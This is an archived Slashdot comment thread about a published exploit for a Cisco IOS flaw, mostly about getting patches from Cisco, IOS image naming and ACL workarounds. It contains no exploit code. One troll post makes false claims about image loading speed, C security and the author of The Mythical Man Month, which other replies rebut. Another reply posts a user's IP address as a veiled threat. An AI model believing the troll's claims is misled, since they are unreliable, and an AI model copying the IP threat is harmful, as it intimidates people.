Slashdot Mirror


Exploit Available for Cisco IOS Vulnerability

GNUman writes "Cisco's IOS vulnerability, posted by Slashdot and CERT, has now a published exploit available, as reported recently by CERT. While there are some some articles claiming that the Internet survived a major flaw, maybe with a publicly available exploit could script kiddies start creating havock?. jerw134 wanted to start a pool to find out when the exploit would be publicly available, here's the answer."

277 comments

  1. Them Script Kiddies by inertia187 · · Score: 4, Funny

    About them Script Kiddies,
    the internet's old plight.
    Goin' all around,
    usin' hacks they didn't write.
    Them Script Kiddies lurk the net,
    as devious little foes.
    Keep them admins well employed,
    and keeps them on their toes!
    When Script Kiddies learn a trick,
    it makes for one tight spot.
    If you ain't patched up to date,
    think again, because you ought.
    How to be a Script Kiddy,
    logon the net ad hoc.
    Google for the hack you want,
    and start your own havoc.

    --
    A programmer is a machine for converting coffee into code.
    1. Re:Them Script Kiddies by Anonymous Coward · · Score: 0

      Am I the only one getting tired of this shite? Dude, you post this stuff alllllllll the time.

    2. Re:Them Script Kiddies by inertia187 · · Score: 0, Offtopic

      Get bent.

      You know, there's this feature in /. where you can mark people as your Foe. Then you can assign them -6 so you never see them again. It's like saying "Shut up I hate you, don't bug me ever again, you twit!" to that person. Not only that, but they get the slap in the face of knowing that you hate them whenever they look in their Freak list.

      --
      A programmer is a machine for converting coffee into code.
    3. Re:Them Script Kiddies by MasterRa · · Score: 0

      I thought it was fairly impressive to see a new one so often.

    4. Re:Them Script Kiddies by Anonymous Coward · · Score: 0

      Thanks for the suggestion. Now I never have to read one of your poems again.

    5. Re:Them Script Kiddies by a+little+bird · · Score: 0, Offtopic

      Pssst. I'm here to give you a message. The baby isn't yours. Karen was sleeping around.

      --
      Watch out, or I'll poop on you.
    6. Re:Them Script Kiddies by Anonymous Coward · · Score: 0

      Personal attacks are not called for. Let's hope your ip (206.162.180.2) is issued dynamically.

    7. Re:Them Script Kiddies by Anonymous Coward · · Score: 0

      Are you threatening me?

    8. Re:Them Script Kiddies by Anonymous Coward · · Score: 0

      Do not make my bunghole angry!

  2. Great... by mfifer · · Score: 4, Interesting

    ...the 'sploit is more easily available than the fix!

    Anyone else gone through hell today trying to get the patch from Cisco?

    Grrr... >-/

    1. Re:Great... by Anonymous Coward · · Score: 1, Funny

      Someone with the patches should setup a bittorrent with them. Then we can setup a pool to see how long before the RIAA fucks up and sends them a C&D. "Whoops! Cisco? I thought it said Disco!"

    2. Re:Great... by NerveGas · · Score: 4, Informative


      The patch is extremely easy to come by. Do a "sh ver" on your router, and send the output to tac@cisco.com, and ask for an updated IOS. They'll likely be back to you within an hour or so.

      steve

      --
      Oh, you're not stuck, you're just unable to let go of the onion rings.
    3. Re:Great... by silas_moeckel · · Score: 2, Interesting

      Well I havent had any issues just go login to your CCO account and grab the new IOS's actualy my local mirror updated yesterday automaticaly. As for going through TAC thats allways a PITA to say a couple hundred dollars a year.

      --
      No sir I dont like it.
    4. Re:Great... by Anonymous Coward · · Score: 0

      Someone with the patches should setup a bittorrent with them. Then we can setup a pool to see how long before the RIAA fucks up and sends them a C&D. "Whoops! Cisco? I thought it said Disco!"

      Would make more sense if you had said Sisqo, maker of such wonderful hits as "The Thong Song".

    5. Re:Great... by rosewood · · Score: 2, Insightful

      I cant say that im in charge of any cisco routers. Well, I am but I luckily don't ever have to mess with them and have moved away from using them but thats another story.

      However, you have to email cisco to get an update from their screw up?

      ?????

      Ill remember this when it comes time to buy network hardware.

    6. Re:Great... by Anonymous Coward · · Score: 2, Insightful

      You have either a bizarre definition of the phrase "extremely easy" or very little perspective on how easy it is to patch many other products.

      What would you call it if they had just provided in their advisory a publically-accessible link from which to download the patch? "ultra-easy"? How about running "apt-get upgrade"? "hyper-easy"? Or having the patch automatically installed for you by Windows Update? "mega-easy"?

      Obviously, I'm not saying that Cisco should adopt any of these specific methods, but patch processes involving an email exchange don't fit most people's definition of "extremely easy."

      The original poster's point is quite valid -- you don't have to email somebody and wait an hour to get the exploit. It's easier to get the exploit than it is to get the fix.

    7. Re:Great... by Comen · · Score: 0

      Cisco has been doing a great job helping anyone who just opens a case with them, making sure to be extra polite even

      Things like:
      "I hope you are having a good day. My name is Dave and I will be assisting you."
      "Thank you very much. Have a great day."

      "This is to bring to your kind attention that I am the engineer assigned to your case.
      Kindly send me the Sh version of each of the routers as I need to know the Feature sets ,Memory Size and the IOS version you are currently based on which I shall be ablt to suggest you the IOS upgrade."

      "Assuring you the best of our services and attention at all times.
      Thanks & Regards,"

      And we have gotten every new patched release with in a couple hours of opening a ticket, A couple times even last night at around 3am.

      We have upgraded most of our backbone already and dont have to much left to do.

      There might be some better hardware out there but the support from cisco is very good and should be noted.

    8. Re:Great... by Anonymous Coward · · Score: 0

      No, it is available through the web also.

      Don't have link handy, as we took care of all ours yesterday.

    9. Re:Great... by Pii · · Score: 3, Informative
      Most Cisco code updates do not require TAC intervention, or email swapping. This is an isolated case.

      Also, I haven't had to mail TAC yet for any of the routers (30, and counting) I've had to upgrade. My new code has been available throught the traditional channel (Cisco's Software Center).

      People that are having to mail the TAC are doing so because they have no support contract (thus, no access to the Cisco Software Center), or because the code for their specific platform doesn't appear to be available through the Software center.

      --
      For those that would die defending it, Freedom
      has a sweet taste that the protected will never know.
    10. Re:Great... by Miss+Congeniality · · Score: 1

      I don't have proper authorizations to download patches directly and getting the upgrade from tac@cisco has been like pulling teeth. The rep I'm dealing with keeps asking me to give him the name of the file I need. C'mon dude, I just told you I don't have access to your FTP-how the fck am I supposed to know what your file is named?
      I asked twice if he could refer me to an explanation of their naming scheme and it's as if I'm typing it in invisible ink. I'm asking him to help me answer his questions and he just keeps not responding because he's not getting the answer he wants. This has been going on since around 9:30AM yesterday. I've since re-submitted my tac request and have yet to hear back from anyone. I will have to pull an all-nighter driving between co-lo's because of this when it should have been done by the end of workday yesterday.

      This is easy?!?

      feel free to moderate as far down as you want, it just feels good to blow off some steam.

    11. Re:Great... by Anonymous Coward · · Score: 0

      Forgot to mention that you need a CCO login to get them, but if you're an admin with some cisco gear, you should have one.

    12. Re:Great... by ZorinLynx · · Score: 1
      What I don't get is why they don't just allow people to find and download the software they need. We have a support contract where I work, so we can do that... But why not let anyone who owns a Cisco router download software updates? They don't have to worry about people "pirating" their software, since you need to have a Cisco router to run IOS anyway.


      The bandwidth drain can't be that high, and keeping those customers happy will probably mean repeat business.


      In fact, I'm betting that having to deal with thousands of customers Emailing them and all is costing them more money (in staff time, and such) than simply opening up the Software Center for all.

    13. Re:Great... by NerveGas · · Score: 1


      Wow. Yesterday, I just emailed TAC, gave them the output of "sh ver" for each router, and asked for the appropriate IOS. Within an hour, I had the files that I needed.

      I'd just tell him "Look, this is what I have: (include the sh ver). Please tell me which IOS version I need, and please publish it for me."

      steve

      --
      Oh, you're not stuck, you're just unable to let go of the onion rings.
    14. Re:Great... by Anonymous Coward · · Score: 0

      They do sell IOS.

      It's not a free upgrade unless you have a support contract.

      Joe Blow who bought a 25XX off e-bay with 10.2(X) on it, threw in some extra ram (just 72 pin simms (parity though, still not hard to come by cheap) IIRC, cannot download 12.2(X) or whatever, for free. (Assuming he has enough flash for it)

    15. Re:Great... by NerveGas · · Score: 5, Informative

      You have either a bizarre definition of the phrase "extremely easy" or very little perspective on how easy it is to patch many other products.

      I sent one email, and in return, got all of the IOS versions that I needed for my routers. I'd definitely say that was "extremely easy".

      Maybe you mean that I can just tell Linus what kind of computer I have, and he'll send me over a tarball of 2.4.21, pre-configured with the options I'd like?

      you don't have to email somebody and wait an hour to get the exploit

      If you have a CCO account, then you don't have to wait an hour, you log in and pick it up. Super-mega-fabuloso-easy.

      steve

      --
      Oh, you're not stuck, you're just unable to let go of the onion rings.
    16. Re:Great... by NerveGas · · Score: 2, Informative


      There are various channels from which to get the IOS. If you have a CCO account and know which version you want/need, you just log in and download it. There are also other ways of getting it, but as a "last-ditch" (or "too-lazy") method, you can email their support group directly.

      steve

      --
      Oh, you're not stuck, you're just unable to let go of the onion rings.
    17. Re:Great... by Anonymous Coward · · Score: 0

      Should clear this up. The patch is free, upgraded IOS versions are not.

    18. Re:Great... by bluehand · · Score: 1

      Hi
      I have dealt with a very friendly TAC support (lucky me maybe :) )
      if he keeps asking for the file name
      do a show flash in your router and note your filename (its in the system image file)
      then look at the advisor and see the ios version you are suposed to upgrade to
      then just tell them to send you a filename that is equal to your old filename until the . and the new version after
      for ex
      my old router was c2500-i-l.112-4 (ios 11.2 revision 4)
      i should upgrade to ios 11.2 revision 26e
      so the new file is c2500-i-l.112-26e
      hope this info helps

    19. Re:Great... by SquadBoy · · Score: 1

      Because they don't want to give away code to people who don't have support contracts that is part of how they make money.

      In any case the TAC has some good folks and a bunch of phone monkeys. I have had some of them help me solve large complex problems and just like today to get an update I go online open up a call just to make sure I'm getting the right thing and knowing that they will need all kinds of info I attached a show tech to the call. What do I get an email containing a request for a show ver. So I'm thinking the monkeys are in charge today. But yes you are right this patch should be made publicy available but that is why they don't have it in general.

      --

      Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
    20. Re:Great... by Cramer · · Score: 1

      There are several reasons... first, how can they prove you bought a cisco router? Any schmuck could then download it -- it doesn't matter that it doesn't run under windows. Second, there's next to no way to ensure you download the correct version and feature level that you are entitled to. With access to the software center, I can download any IOS image for any device with any feature-set. I can download the "kitchen sink" feature image to a router with no entitlement for those features (i.e. firewall feature set is very much not a free thing.) Of course, Cisco does log downloads, but I've only rarely been contacted about an image download (for a quality survey.)

      Most people can simply get the image themselves. Others (read: less likely to be targeted immediately) can ask Cisco for the updated version and Cisco will get back with them -- of course, Cisco is under some load today...

    21. Re:Great... by Pii · · Score: 2, Informative
      That'd be great, 'cept there are about 30 different version of code that run on any given router platform, at each release level.

      You have a Cisco 2610...

      What Feature pack?

      • ENTERPRISE PLUS
      • ENTERPRISE PLUS IPSEC 3DES
      • ENTERPRISE PLUS IPSEC 56
      • ENTERPRISE/FW/IDS PLUS IPSEC 3DES
      • ENTERPRISE/FW/IDS PLUS IPSEC 56
      • ENTERPRISE/SNASW PLUS
      • ENTERPRISE/SNASW PLUS IPSEC 3DES
      • ENTERPRISE/SNASW PLUS IPSEC 56
      • IP
      • IP PLUS
      • IP PLUS IPSEC 3DES
      • IP PLUS IPSEC 56
      • IP/FW/IDS
      • IP/FW/IDS PLUS IPSEC 3DES
      • IP/FW/IDS PLUS IPSEC 56
      • IP/H323
      • IP/IPX/AT/DEC
      • IP/IPX/AT/DEC PLUS
      • IP/IPX/AT/DEC/FW/IDS PLUS
      • REMOTE ACCESS SERVER
      That's just the available images for the 2610, 12.1(20)...
      --
      For those that would die defending it, Freedom
      has a sweet taste that the protected will never know.
    22. Re:Great... by Anonymous Coward · · Score: 0

      Maybe you mean that I can just tell Linus what kind of computer I have, and he'll send me over a tarball of 2.4.21, pre-configured with the options I'd like?

      First, I'm sure there is more than one person at Cisco's help desk.

      Second, if you paid Linus as much as you paid Cisco, I'm sure he'd be delighted.

    23. Re:Great... by NerveGas · · Score: 1

      Second, if you paid Linus as much as you paid Cisco, I'm sure he'd be delighted.

      I haven't paid Cisco a dime. I bought the routers second-hand, and don't have a service contract.

      steve

      --
      Oh, you're not stuck, you're just unable to let go of the onion rings.
    24. Re:Great... by Jucius+Maximus · · Score: 1
      "Anyone else gone through hell today trying to get the patch from Cisco?"

      Not my company apparently. I just received the e-mail notice that the patch will be applied toute suite.

    25. Re:Great... by Godeke · · Score: 1

      So far it has been 4 hours since my e-mail... no response whatsoever, not even an autoresponder. I suspect they are becoming overworked trying to handle these by hand, but it sucks knowing that there is a file out there that could fix your problem, but it is up to some guy to answer your begging on his time. Why would a normal download point be so bad?

      --
      Sig under construction since 1998.
    26. Re:Great... by jandrese · · Score: 1
      There are several reasons... first, how can they prove you bought a cisco router? Any schmuck could then download it -- it doesn't matter that it doesn't run under windows.
      OH MY GOD! Someone may download specalized software for a piece of hardware they don't own. It's the end of the world! Who know what kind of nefarious deeds they might do with those bits. It's unnatural I tells ya.
      --

      I read the internet for the articles.
    27. Re:Great... by digitalsushi · · Score: 1
      There's an uncommon delay of 3 or 4 hours to get a response, but they're just giving away the correct IOS updates if you give them your serial number. Heck, sounds like some people arent even giving them their serial numbers. *shrug*


      But here's my insightful comment for the day- Cisco is going to have a mint spam list at the end of this. "Hey boss? I just realized that 30,000 people with 100 thousand dollar routers just emailed us with verified addresses." Boss: "I need a paper towel"

      --
      slashdot: where everyone yells sarcastic metaphors to themselves to understand the issue
    28. Re:Great... by Anonymous Coward · · Score: 0

      Wrong. Cisco doesn't have fixes yet for the vast majority of versions of IOS that customers are running. Out of 49 routers, we have zero that Cisco has bothered to come-out with a fix for. Of those, we have 8 we can upgrade to one of the unstable versions of IOS (12.2.x). The other 41 don't have either enough RAM or Flash to do so. It looks like if Cisco doesn't do their job, we're going to have to spend about $30k (the flash is very expensive) on upgrades to be allowed to fix this problem by Cisco. That's what the quote we got from them said. I assume we can buy off-brand memory and flash and save about 60%, but the point is still the same. Closed-source software sucks. The vendors have you by the balls, and they're going to screw you for every penny they can get. In this case, they are rewarded handsomely for fucking all of us over.

    29. Re:Great... by Anonymous Coward · · Score: 0

      I just wish I could find out the CAUSE of the problem. I see the fixes, but what was wrong with what, exactly? What kind of packet did what exactly to fill up the input queue of the routers?

    30. Re:Great... by doogles · · Score: 2, Informative

      Anyone else gone through hell today trying to get the patch from Cisco?

      ftp://user:pass@ftp.cisco.com/cisco/ios/

    31. Re:Great... by fwr · · Score: 1

      I'd be willing to bet that those routers that can't be upgraded without memory upgrades have been EOL'd. Kind of like trying to install Windows XP on a 386 with 16MB of RAM...

    32. Re:Great... by Anonymous Coward · · Score: 0

      That'd be great, 'cept there are about 30 different version of code that run on any given router platform, at each release level.

      The time has come to do something about that...
      They should re-invent modules and initrd.

      When you think that solutions has its problems, remember that Linux developers were sceptical about this concept when it was first discussed. Now, nobody would want to return to single-file kernel images with 2^100 different configuration settings.

    33. Re:Great... by knightrdr · · Score: 1

      Considering that half of Cisco support is in Mexico you better be glad that they even know English fluently!

    34. Re:Great... by barnaby · · Score: 1

      Actually all IOS trains were rebuilt, there is a fixed image for even old and crufty 11x code.

      No memory needed, download and reboot.

      Read the advisory, if you can understand "show ver", you can find the right image to upgrade to.

      http://cco.cisco.com/warp/public/707/cisco-sa-2003 0717-blocked.shtml



      --
      Barnaby
    35. Re:Great... by Eric_Cartman_South_P · · Score: 1
      What would you call it if they had just provided in their advisory a publically-accessible link from which to download the patch? "ultra-easy"? How about running "apt-get upgrade"? "hyper-easy"?

      No, they are now respectively called HIGH-EASY and FULL-EASY.

    36. Re:Great... by Anonymous Coward · · Score: 0
      Kind of like trying to install Windows XP on a 386 with 16MB of RAM...

      Hey, at least you can do it...

    37. Re:Great... by Anonymous Coward · · Score: 0

      If your company has a $100k router, Cisco already has far better contact info than some network monkey's email address.

    38. Re:Great... by Anonymous Coward · · Score: 0

      Well, this one is just too good (it showed up in yesterday's story):

      http://www.juniper.net/nettoons/03_1280.jpg

    39. Re:Great... by statichead · · Score: 1


      I am but I luckily don't ever have to mess with them(cisco routers).


      Right on dude, thats the attitude I love to hear, give me a buzz, I'll take charge of your cisco equipment;-)

    40. Re:Great... by statichead · · Score: 1

      Maybe you have buffer problems in your routers;-)

    41. Re:Great... by statichead · · Score: 1


      This is easy?!?


      Router code upgrade on ciscos can be easy if your lucky and do your homework.

      I cant wait till next week when all the botched attemps to upgrade ios code get problematic.

      People will be breaking things they didn't even know they had.

      hire a professional;-)

      But seriously, take a look at the workaround on ciscos site, it is not that difficult and can keep you up and running while you are waiting for your file.
      Or just get your management to buy support. Support is worth what it costs your organization if your network is down.

      Its kind of like driving your car on an empty tank, sure you may go a few miles without spending any additional money, but when you run out of gas the car stops running.

  3. Long enough? by lewiz · · Score: 1

    Hehe, good to see the creator gave admins plenty of time to patch / resolve problems with their Cisco gear...

  4. Contact your network company by nacturation · · Score: 4, Insightful

    If you haven't yet received notification from your NOC that they're going to be doing maintenance, you really need to impress upon them to get this fixed. In a nutshell, this flaw could allow a malicious hacker to shut down traffic to your servers.

    --
    Want to improve your Karma? Instead of "Post Anonymously", try the "Post Humously" option.
    1. Re:Contact your network company by Sick+Boy · · Score: 5, Funny

      After which they'll explain that they use Juniper equipment because it doesn't suck near as much as Cisco and you'll look like an ass.

      --
      Does narcissism count as a hobby? --Shawn Latimer
    2. Re:Contact your network company by Florian+Weimer · · Score: 4, Insightful

      If you haven't yet received notification from your NOC that they're going to be doing maintenance, you really need to impress upon them to get this fixed. In a nutshell, this flaw could allow a malicious hacker to shut down traffic to your servers.

      First of all, your network might be running on non-Cisco gear (yes, there are other vendors).

      Second, the fact that so many NOCs have to apply emergency patches is scaring. I can understand that NOCs hesitate to install the latest release just after it has been published (some of the releases which include the fix have been available for months), but this particular bug only affects you if your router is insufficiently protected by ACLs against all kinds of malicious traffic. You really want to install such ACLs to mitigate the effect of typical DoS attacks targeted at the router itself, and if you've done your homework, bugs like the present one do not require emergency maintainance.

    3. Re:Contact your network company by po8 · · Score: 1

      Yes, your NOC better get their Cisco gear out of service until they have the patch in. Otherwise someone could crash the Cisco and make your network connection unusable!

      Or something... "We had to destroy the network in order to save it."

    4. Re:Contact your network company by pyite · · Score: 2, Informative

      Yes, and some people do not apply ACLs to their core networks due to the fact that cores are supposed to be extremely fast. In this case, an update can be said to be needed.

      --

      "Nature doesn't care how smart you are. You can still be wrong." - Richard Feynman

    5. Re:Contact your network company by dirvish · · Score: 2, Informative

      The suggested ACL settings break fast switching...so ACL is not the best solution for many.

    6. Re:Contact your network company by Florian+Weimer · · Score: 2, Informative

      Yes, and some people do not apply ACLs to their core networks due to the fact that cores are supposed to be extremely fast. In this case, an update can be said to be needed.

      Huh? It's cheaper to drop a packet at the process switching level than to actually forward it to the process that implements the corresponding service.

      We are talking about packets targeted at the router, and filters for them are not necessarily in the forwarding path (they can be implemented there to protect the main CPU(s) from DDOS attacks, of course). For forwarded packets, you are correct that this is problematic on core routers, e.g. very few GSR linecards support more than a few dozen ACL entries per interface, some do not support any filters at all.

    7. Re:Contact your network company by Florian+Weimer · · Score: 2, Informative

      The suggested ACL settings break fast switching...so ACL is not the best solution for many.

      I'm not sure what you are talking about. "Fast switching" is an obsolete Cisco marketing. Maybe this is an accident and you allude to the possibility that filters decrease forwarding performance. However, quite a lot Cisco routers support either wirespeed ACLs or specific ACLs for traffic directed at the router (which do not impact forwarding performance).

    8. Re:Contact your network company by A.Gideon · · Score: 1

      You might not know that the maintenance is being performed. For example, if your NOC uses HSRP (or some equivilent) to allow routers to back up one another, the NOC could take one router at a time out of service, upgrade it, and put it back, all w/o interrupting service.

      Your NOC does have something in place which supports (1) pulling routers out of service for maintenance and (2) routers that fail on occasion, right?

    9. Re:Contact your network company by Anonymous Coward · · Score: 0

      The ISP's were notified earlier this week before the information was made public.

    10. Re:Contact your network company by Artifex · · Score: 2, Interesting
      After which they'll explain that they use Juniper equipment because it doesn't suck near as much as Cisco and you'll look like an ass


      They may use Juniper routers, but if your contract with them includes their maintenance of CPE they provided for you, and the CPE is Cisco, you're still screwed, aren't you?

      --
      Get off my launchpad!
    11. Re:Contact your network company by Anonymous Coward · · Score: 1, Insightful

      It was a joke you turd.

    12. Re:Contact your network company by Florian+Weimer · · Score: 1

      No, fast switching is alive and well:

      In this case, you should pick your examples more carefully, and avoid pointing to products which are officially end-of-life. 8-)

  5. Exploits et al., by Jack+Wagner · · Score: 0, Interesting
    This is something that is such a black plague on the IT industry and it just amazes me that we're supposed to take it in stride. The problem here is that we continue to use tools that are not mature.

    During these difficult economic times I've had to branch out and do some "web programming" along with my real programming contract work (mostly low level 4Q multi-threaded kernel hacking, etc.) and after doing some cursory studying and testing of various techniques I'm amazed at how badly most of the sites on the web are designed and how most of them use the wrong tool for the job.

    For instance I was able to reduce the load time of a very well known and heavily traveled Fortune 500 website by moving all the graphics to black and white only, as they load on an average of Olog(n) faster than color graphics (where n is the number of pixels in the color graphic) thusly improving their UHCRF (unique hit customer retention factor) ratio by 35%!! I won't brag about the $10,000 bonus check I received from hitting that benchmark... heh. Other simple techniques like removing all interpreted languages (java, Visual Basic, c# etc.) and replacing them with low level compiled code (C, of course) has generated speed increases upwards of 25% and also increase the security of the site as a side effect.

    It's a shame we don't teach IT people to spend some time to learn their trade inside and out instead of always forcing them to jump on the "flavour of the month" and use abstracted high level tools. As Leon Brooks sums it up in his famous book "The Mythical Man Month" - You'll never properly solve a programming problem by using tools that are not mature. Leon hit's the nail right on the head with that one.

    Warmest regards,
    --Jack

    --


    Wagner LLC Consulting Co. - Getting it right the first time
    1. Re:Exploits et al., by _14k4 · · Score: 4, Funny

      Right, only now the webpage sucks because it's black and white.. ;)

    2. Re:Exploits et al., by Fastfwd · · Score: 2, Funny

      I won't brag about the $10,000 bonus check I received from hitting that benchmark...

      Too late. Now how are we supposed to believe the rest of your story? :P

    3. Re:Exploits et al., by Burlynerd · · Score: 5, Interesting

      You're right on the money with the "maturity" comments, Jack. The way technology has been running, we have been in a constant state of trying to learn something new. We've never really had a chance to get "really good" at some of our technologies, before the next version or replacement technology arrived.

      The Cisco situation is not due to bleeding edge issues though. They should have found this problem sooner.

    4. Re:Exploits et al., by Anonymous Coward · · Score: 0

      Very funny. You even got modded up for that bullshit. Moving from range-checked languages to C is exactly what helps with security problems. 25% speed increase comes from a faster machine, not from "optimized" code which creates ridiculous overhead during development and post-break-in cleanup.

    5. Re:Exploits et al., by gabriel-dialupusa · · Score: 2, Interesting

      It's also a shame we have to pat ourselves on the back a lot on slashdot. And as long as you're not bragging about $10k bonuses, make sure to not tell us how you didn't spend it on the EFF and FSF. ;-)

      --
      Beware he who would deny you access to information,
      for in his heart he dreams himself your master.
    6. Re:Exploits et al., by Anonymous Coward · · Score: 0

      Cool, the troll that always brags about doing a ridiculous task for an important company (b&w graphics, yeah that makes sense), always mentions the mythical man month with a different Brooks as the author and a topic from the book that doesn't exist, has a non-existant website, and always uses some non-sensical buzzword heavy solution to the problem. As if mature tools would help Cisco avoid security problems. How does this tripe ever get modded up?

    7. Re:Exploits et al., by aliens · · Score: 2, Interesting

      What kind of graphics were these? They should have been already optimized to allow for quick loading.

      Unless you're talking about high quality TIF's B&W vs. Color should not be making a difference in your load times.

      --
      -- taking over the world, we are.
    8. Re:Exploits et al., by toomuchPerl · · Score: 1
      You obviously have no clue what you're talking about in regards to tools that are underdeveloped. As far as I am concerned, you had better be one hell of a C hacker to say that replacing a website with C on the backend will increase the security.

      Abstracted high-level tools are what gets jobs done. I wouldn't recommend Java, VB, and C# though - Personally I get things done best with Perl.

      -toomuchPerl

    9. Re:Exploits et al., by MattRog · · Score: 1

      Wow, nice troll. I think that deserves a golf clap for your efforts.

      *polite applause*

      --

      Thanks,
      --
      Matt
    10. Re:Exploits et al., by Vishal · · Score: 2, Funny

      Black and White graphics load on an average Olog(n) faster than color ones? Mel Brooks gave you that formula?

    11. Re:Exploits et al., by el-spectre · · Score: 1

      News flash: Web-based technologies change monthly, if not weekly. If we waited for them all to mature, we'd still be viewing Lynx compatible pages.

      Also, those of us who build for the web have to deal with an incredibly variable environment (OS, browser, connect speed, screen size, language, etc). Some high level abstraction is necessary, unless we want to target just 1 small audience (sadly, many web developers do so).

      Idealism is nice, but standing on a soapbox screaming 'Be Patient!' is not really practical given the tech-o-the-week world that the web is right now.

      I don't expect the best social skills (we're geeks, that's not what we do), but you could at least try to see the big picture before you espouse ivory tower philosophies.

      (whew, I can feel my karma draining, but it's worth it).

      --
      "Faith: Belief without evidence in what is told by one who speaks without knowledge, of things without parallel." - A.B.
    12. Re:Exploits et al., by Anonymous Coward · · Score: 0

      Isn't Perl some twisted acronym for job security?

    13. Re:Exploits et al., by MattRog · · Score: 1

      WHOA! Apologies -- I replied to the wrong thread. My reply was to the thread starter that, aside from being ridiculous, is obviously a troll.

      --

      Thanks,
      --
      Matt
    14. Re:Exploits et al., by Anonymous Coward · · Score: 0

      > black and white only, as they load on an
      > average of Olog(n) faster than color graphics

      What a shameless plug, sir. IT's not about file size then, and using JPEGs, GIFs and PNGs as appropriate, and not the other way around?

      Nice trolling though, moderators fell for it.

    15. Re:Exploits et al., by billstr78 · · Score: 1

      This guy is pretty well disguised as a troll. This comment gave him away though.

    16. Re:Exploits et al., by jeffmeden · · Score: 2, Insightful

      Thats a bigger load of bullshhh than I've ever seen before, and thats including all of high school! Its times like these /. needs a 'retarded' moderation.

    17. Re:Exploits et al., by Urban+Garlic · · Score: 1

      > As Leon Brooks sums it up in his famous book "The Mythical Man Month"... Leon hit's the nail right on the head....

      It's a shame we don't teach IT people the names of other practitioners in their field, or how to use apostrophes.

      That'd be *Fredrick* Brooks.

      And Bob.

      --
      2*3*3*3*3*11*251
    18. Re:Exploits et al., by brkello · · Score: 3, Insightful

      Ok, this post really bothers me. In any complex system, there are bound to be bugs. I seriously find it hard to believe that if you tackled something as difficult as networking, spent years working on it, would have a finished product that was 100% error free. The word "mature" is just a label. It is meaningless in reality. I agree with you that people should use the right tool for the job, but comparing switching out color pictures for B&W ones and translating code in to C with routing and switching is like comparing a computer that can win at tic tac toe to a computer that can't be beat at chess. The fact of the matter is, Cisco is used by millions for their networking needs. If you think you can produce a more "mature" product that miraculously has no bugs then please do so. I guarantee you will be a rich man. The unfortunate thing is, that most likely by the time your system is mature, Cisco will have a product out that makes your device obsolete.

      --
      Support a great indie game: http://www.abaddon360.com
    19. Re:Exploits et al., by bmj · · Score: 1

      were these radical improvements implemented on linux 9.0?

      --
      Whereof we cannot speak, thereof we must be silent. --Ludwig Wittgenstein
    20. Re:Exploits et al., by Anonymous Coward · · Score: 0
      Other simple techniques like removing all interpreted languages (java, Visual Basic, c# etc.) and replacing them with low level compiled code (C, of course) has generated speed increases upwards of 25% and also increase the security of the site as a side effect.

      Funny thing to say considering Java, Visual Basic, and C# all compile into executable code. Perhaps you meant PHP?

    21. Re:Exploits et al., by jbottero · · Score: 1

      1. whois says your web address is not even registered.

      2. I wonder what technology really is "mature" bofore it becomes out-of-date, these days.

    22. Re:Exploits et al., by slamb · · Score: 2, Informative
      Umm, apparently some moderators don't realize this is a troll. The things he is talking about aren't even remotely relevant to this exploit, which is at a much lower level. And it's not even consistent:

      In this post, he said:

      Other simple techniques like removing all interpreted languages (java, Visual Basic, c# etc.) and replacing them with low level compiled code (C, of course) has generated speed increases upwards of 25% and also increase the security of the site as a side effect.

      Writing websites in C is generally a very bad idea. It does horrible things to the security - introduces buffer overflow problems. And the speed increase, when it even exists (Java's performance is better than most people think), is not worth the extra programmer time.

      In an older post, he said:

      Lets face it, all one has to do is take a quick look at the demand for certain skill sets on the net to get a pretty good feel for what's relevant today and I'm not sure c++ is anywhere on that radar screen. Most of my work as of late has been all Java and c#, with some legacy C programming done (on low level systems only of course, nobody would pay someone by the hour to have app level work done in C these days)

      ...so, apparently, he mostly uses the interpreted languages he just dissed stupidly.

      The rest of the post is just stupid buzzwords:

      For instance I was able to reduce the load time of a very well known and heavily traveled Fortune 500 website by moving all the graphics to black and white only, as they load on an average of Olog(n) faster than color graphics (where n is the number of pixels in the color graphic) thusly improving their UHCRF (unique hit customer retention factor) ratio by 35%!! I won't brag about the $10,000 bonus check I received from hitting that benchmark... heh.

      More colors = more information = more time to download, but that O(log n) is stupid and wrong. And the other stuff is even more gibberish. This exploit has nothing to do with web applications, anyway.

    23. Re:Exploits et al., by jdhutchins · · Score: 1

      Great! You replaced their interpreted languages with C! But...

      What's the lowly webpage designer going to do when *gasp* they want to change a page? Are they going to have to go down into C source, and have to change it? The webpage designer probably is going to really screw things up becuase the page needs changing. C may be fast, but for webpage design, it's probably not the right tool. If you have a half-decent server (Resin, for example), Java's not going to be slow. And JSP is going to be MUCH easier to maintain that C.

      And as far as black-and-white graphics, I hope the site still looks good... There are other image optimizations that you can do, and that's probably made some of the difference.

    24. Re:Exploits et al., by TheMidget · · Score: 1
      News flash: Web-based technologies change monthly, if not weekly. If we waited for them all to mature, we'd still be viewing Lynx compatible pages.

      You say this as if it were a disadvantage. Do you also consider access ramps near buildings to be eye-sores, and do you routinely park your cark on the spots reserved for the disabled?

      Lemme tell you: lot's of people don't use lynx by choice, but because they have a disability (blindness) that prevents them from using other browser. Text-only browsers may be used together with a braille line, or a text-to-speech synthesizer to enable the blind to experience the web.

      Franky, web designers who pride themselves that their pages are not lynx compatible are dorks.

      Also, those of us who build for the web have to deal with an incredibly variable environment (OS, browser, connect speed, screen size, language, etc).

      Rather than building specific versions of your page for your target, think of building target-independant pages. Stick to standards. Stick to "minimality principle": If all you want are buttons with pretty pictures, uses gif images, rather than flash animations. Oh, and add an ALT tag too, for the sake of your blind visitors.

      Idealism is nice, but standing on a soapbox screaming 'Be Patient!' is not really practical given the tech-o-the-week world that the web is right now.

      So, just explain to your management that your "flashy" website exposes your company to multi-million dollar A.D.A. lawsuits. Maybe then they'll understand better.

    25. Re:Exploits et al., by mobileskimo · · Score: 1
      • "What's the lowly webpage designer going to do when *gasp* they want to change a page? Are they going to have to go down into C source, and have to change it? The webpage designer probably is going to really screw things up becuase the page needs changing."

      No. The webdesigner will create a new page from scratch and toss out the C.
      --
      "Last one in is a rotten goblin!" - Kepp
    26. Re:Exploits et al., by mblase · · Score: 1

      Truly, I'm amazed at the number of things you can identify Olog(n) speed increases in: FreeBSD, custom algorithms, cache hits, Unicode, RISC chips, Extreme Documentation, modern compilers....

      That, combined with your uncanny ability to cite "The Mythical Man Month" in every single post as well as to consistently get modded down to "0, Troll" or lower makes me wonder if you even know what log(n) means, or if you just have a BS generator on your computer producing these painfully self-promoting posts.

    27. Re:Exploits et al., by BigBadDude · · Score: 1


      For instance I was able to reduce the load time of a very well known and heavily traveled Fortune 500 website by moving all the graphics to black and white only ...


      sound more like you were working for a satanic cult...

